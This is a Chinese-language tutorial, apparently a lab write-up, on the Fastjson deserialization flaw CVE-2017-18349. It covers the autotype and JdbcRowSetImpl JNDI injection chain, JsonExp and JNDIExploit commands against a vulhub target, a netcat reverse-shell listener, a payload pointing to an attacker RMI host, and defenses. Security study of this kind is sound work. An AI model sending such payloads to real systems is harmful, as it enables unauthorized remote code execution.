fastjson反序列化 CVE-2017-18349
字数 1278 2025-08-10 08:28:21
Fastjson反序列化漏洞(CVE-2017-18349)深度分析与利用指南
1. Fastjson简介
Fastjson是阿里巴巴开发的Java语言编写的高性能JSON库,用于实现JSON与Java对象之间的相互转换。它没有使用Java的标准序列化机制,而是自定义了一套序列化机制。
主要接口
- 序列化:
JSON.toJSONString - 反序列化:
JSON.parseObject/JSON.parse
2. Fastjson基本使用
序列化示例
User user = new User("John", "Doe", 30);
String jsonString = JSON.toJSONString(user);
System.out.println(jsonString);
带类名的序列化
Student student = new Student();
student.setName("jack");
String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonString);
反序列化示例
String json_ser = "{\"@type\":\"com.company.Student\",\"name\":\"jack\"}";
Student stu = JSON.parseObject(json_ser, Student.class, Feature.SupportNonPublicField);
3. 漏洞原理
Fastjson为了实现精确的类型识别,引入了@type机制,这成为漏洞的关键点:
- autotype机制:Fastjson通过
@type指定反序列化的具体类型 - 攻击向量:攻击者可以构造恶意JSON,指定任意类进行实例化
- 利用链:通过
jdbcRowSetImpl类的setDataSourcesName方法注入RMI/LDAP地址 - JNDI注入:受害者服务器会连接攻击者控制的RMI/LDAP服务器,加载并执行恶意代码
4. 漏洞利用过程
-
准备恶意服务:
- 搭建RMI服务和Web服务
- 将RMI绝对路径注入到
lookup方法中
-
触发漏洞:
- 受害者JNDI接口指向攻击者控制的RMI服务器
- JNDI接口向攻击者控制的Web服务器远程加载恶意代码
- 执行构造函数形成RCE(远程代码执行)
5. 漏洞复现步骤
环境准备
- 攻击机:Kali Linux
- 靶场:vulhub/fastjson
检测方法
DNSlog检测
JsonExp.exe -u http://192.168.100.134:8090/ -l vi7sp8.dnslog.cn
观察DNSlog回显确认漏洞存在
LDAP检测
-
启动LDAP和HTTP服务:
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.100.1 -
发送检测请求:
JsonExp.exe -u http://192.168.100.134:8090/ -l 192.168.100.1:1389
利用步骤
- 使用Burp抓取请求包
- 修改数据包,插入恶意payload
- 本地开启NC监听:
nc -lvnp 端口号 - 发送恶意数据包
- 观察LDAP服务器接收情况
- 检查NC是否收到反弹shell
6. 典型Payload示例
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://attacker-ip:port/Exploit",
"autoCommit": true
}
7. 防御措施
- 升级Fastjson到最新安全版本
- 关闭autotype功能:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false); - 使用白名单机制限制反序列化类
- 对输入进行严格校验和过滤
8. 工具列表
- JsonExp.exe - Fastjson漏洞检测工具
- JNDIExploit.jar - JNDI注入利用工具
- Burp Suite - 抓包和重放工具
- Netcat (nc) - 反弹shell监听工具
9. 技术要点总结
- 漏洞根源在于Fastjson的
@type自动类型识别机制 - 利用JDK中的
JdbcRowSetImpl类作为攻击入口 - 通过JNDI注入实现远程代码执行
- 攻击链:构造恶意JSON → 触发反序列化 → 连接恶意RMI/LDAP → 加载执行远程代码
- 检测时优先使用DNSlog进行无害验证
通过以上分析,我们可以全面理解Fastjson反序列化漏洞的原理和利用方法,同时也能够采取有效措施进行防御。